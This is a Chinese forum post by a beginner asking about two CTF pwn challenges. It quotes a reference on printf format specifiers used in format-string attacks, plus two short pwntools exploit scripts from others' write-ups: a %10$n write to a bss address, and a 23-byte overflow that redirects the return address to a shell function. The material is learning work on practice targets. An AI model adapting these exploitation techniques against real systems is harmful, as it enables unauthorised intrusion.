本帖最后由 Dyingchen 于 2019-11-11 18:15 编辑
因为吾爱破解貌似没有专门的pwn区,所以就发到CM/RE区了,希望各位大佬能够多多指点一下1:格式化字符串(来源攻防世界)
一道入门题,用IDA32位打开内容如下
可以看到里面的printf(&s);这一句是可以被利用起来的,查看pwnme的地址: bss:0804A068 得出位于bss段,地址不会变。
然后看一下被printf()打印出来的字符串s在栈里面的偏移
得到偏移为10(41414141对应我们之前输进去的4个A的ascii值),接下来就是我疑惑的地方了
从网上的一些资料可以知道:
常用基本的格式化字符串参数介绍:(printf)
%c:输出字符,配上%n 可用于向指定地址写数据。
%d:输出十进制整数,配上%n 可用于向指定地址写数据。
%x:输出 16 进制数据,如%i$x 表示要泄漏偏移 i 处 4 字节长的 16 进制数
据,%i$lx 表示要泄漏偏移 i 处 8 字节长的 16 进制数据,32bit 和 64bit 环境下一
样。
%p:输出 16 进制数据,与%x 基本一样,只是附加了前缀 0x,在 32bit 下输
出 4 字节,在 64bit 下输出 8 字节,可通过输出字节的长度来判断目标环境是 32bit
还是 64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s 表示
输出偏移 i 处地址所指向的字符串,在 32bit 和 64bit 环境下一样,可用于读取
GOT 表等信息。
%n:将%n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址
位置,如%100×10$n 表示将 0x64 写入偏移 10 处保存的指针所指向的地址(4
字节),而%$hn 表示写入的地址空间为 2 字节,%$hhn 表示写入的地址空间为 1
字节,%$lln 表示写入的地址空间为 8 字节,在 32bit 和 64bit 环境下一样。有时,
直接写 4 字节会导致程序崩溃或等候时间过长,可以通过%$hn 或%$hhn 来适时
调整。
%n 是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符
串参数可用于读取信息或配合%n 写数据。
然而看别人写的exp的时候:
[Python] 纯文本查看 复制代码
from pwn import *
r = remote('111.198.29.45', 50709)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + 'aaaa' + '%10$n' #pwnme
r.recvuntil("please tell me your name:\n")
r.sendline('BurYiA')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()
其中我不明白%10$n为什么要这样写
2:返回地址覆盖(来源buuctf)
用IDA64位打开程序如下
非常简单的一个程序,其中一个叫fun的函数返回了shell,所以思路应该是溢出某个函数,让其返回地址变成fun的地址,然后这样就可以获得shell的使用权限
然后下面是别人写的exp:
[Python] 纯文本查看 复制代码 from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
我不清楚为什么要写一个a*23,23是偏移,但是应该如何计算呢?
|